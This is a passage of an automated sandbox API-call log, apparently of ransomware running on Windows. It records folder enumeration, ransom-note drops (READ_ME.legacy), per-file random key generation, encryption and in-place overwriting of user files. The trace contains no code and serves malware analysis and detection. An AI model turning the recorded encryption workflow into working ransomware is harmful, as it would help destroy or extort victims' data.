ftCreationTime.dwLowDateTime=0x475d1af1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa9fab273, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa40aa9b1, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.485] FindNextFileW (in: hFindFile=0x30d4ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475d1af1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x475d1af1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa277db3c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.485] FindNextFileW (in: hFindFile=0x30d4ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe4b7e2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe4b7e2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe4b7e2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.485] FindNextFileW (in: hFindFile=0x30d4ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe4b7e2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe4b7e2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe4b7e2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.485] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.485] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.485] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.486] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c04 [0193.486] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.486] ReadFile (in: hFile=0x1c04, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.486] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.487] WriteFile (in: hFile=0x1c04, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.487] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.487] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.487] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.487] WriteFile (in: hFile=0x1c04, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.488] WriteFile (in: hFile=0x1c04, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.488] CloseHandle (hObject=0x1c04) returned 1 [0193.489] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.489] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.489] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.489] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c04 [0193.490] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.490] ReadFile (in: hFile=0x1c04, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.490] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.490] WriteFile (in: hFile=0x1c04, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.490] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.491] WriteFile (in: hFile=0x1c04, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.491] WriteFile (in: hFile=0x1c04, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.491] CloseHandle (hObject=0x1c04) returned 1 [0193.493] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.493] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.493] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\1506430069", dwFileAttributes=0x80) returned 1 [0193.493] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\1506430069" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\1506430069"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c04 [0193.493] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=105848) returned 1 [0193.493] ReadFile (in: hFile=0x1c04, lpBuffer=0x3562008, nNumberOfBytesToRead=0x19d78, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0x19d78, lpOverlapped=0x0) returned 1 [0193.508] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=-105848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.508] WriteFile (in: hFile=0x1c04, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x19d78, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x19d78, lpOverlapped=0x0) returned 1 [0193.509] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x19d78 [0193.509] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.509] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.509] WriteFile (in: hFile=0x1c04, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.509] WriteFile (in: hFile=0x1c04, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.509] CloseHandle (hObject=0x1c04) returned 1 [0193.511] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.511] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.511] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\1504778419", dwFileAttributes=0x80) returned 1 [0193.511] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\1504778419" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\1504778419"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c04 [0193.512] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=37022) returned 1 [0193.512] ReadFile (in: hFile=0x1c04, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x909e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x909e, lpOverlapped=0x0) returned 1 [0193.597] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=-37022, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.604] WriteFile (in: hFile=0x1c04, lpBuffer=0x30e00e0*, nNumberOfBytesToWrite=0x909e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e00e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x909e, lpOverlapped=0x0) returned 1 [0193.621] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x909e [0193.621] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.621] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.621] WriteFile (in: hFile=0x1c04, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.622] WriteFile (in: hFile=0x1c04, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.622] CloseHandle (hObject=0x1c04) returned 1 [0193.623] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\296333\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4605c7d4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4605c7d4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbe4b7e2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4af0 [0193.623] FindNextFileW (in: hFindFile=0x30d4af0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4605c7d4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4605c7d4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbe4b7e2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.623] FindNextFileW (in: hFindFile=0x30d4af0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4605c7d4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4605c7d4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa1b46974, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.623] FindNextFileW (in: hFindFile=0x30d4af0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4605c7d4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4605c7d4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa1b46974, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.623] FindNextFileW (in: hFindFile=0x30d4af0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe4b7e2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe4b7e2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe71ad5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.624] FindNextFileW (in: hFindFile=0x30d4af0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe4b7e2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe4b7e2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe71ad5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.624] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.624] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.624] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\296333\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.624] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\296333\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\296333\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c08 [0193.625] GetFileSizeEx (in: hFile=0x1c08, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.625] ReadFile (in: hFile=0x1c08, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.625] SetFilePointer (in: hFile=0x1c08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.625] WriteFile (in: hFile=0x1c08, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.625] SetFilePointer (in: hFile=0x1c08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.625] WriteFile (in: hFile=0x1c08, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.626] WriteFile (in: hFile=0x1c08, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.626] CloseHandle (hObject=0x1c08) returned 1 [0193.629] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.629] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.629] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\296333\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.629] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\296333\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\296333\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c08 [0193.629] GetFileSizeEx (in: hFile=0x1c08, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.630] ReadFile (in: hFile=0x1c08, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.630] SetFilePointer (in: hFile=0x1c08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.630] WriteFile (in: hFile=0x1c08, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.630] SetFilePointer (in: hFile=0x1c08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.630] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.630] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.630] WriteFile (in: hFile=0x1c08, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.631] WriteFile (in: hFile=0x1c08, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.631] CloseHandle (hObject=0x1c08) returned 1 [0193.634] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310091\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48361179, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x49247e6e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbe71ad5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4ff0 [0193.634] FindNextFileW (in: hFindFile=0x30d4ff0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48361179, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x49247e6e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbe71ad5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.634] FindNextFileW (in: hFindFile=0x30d4ff0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, 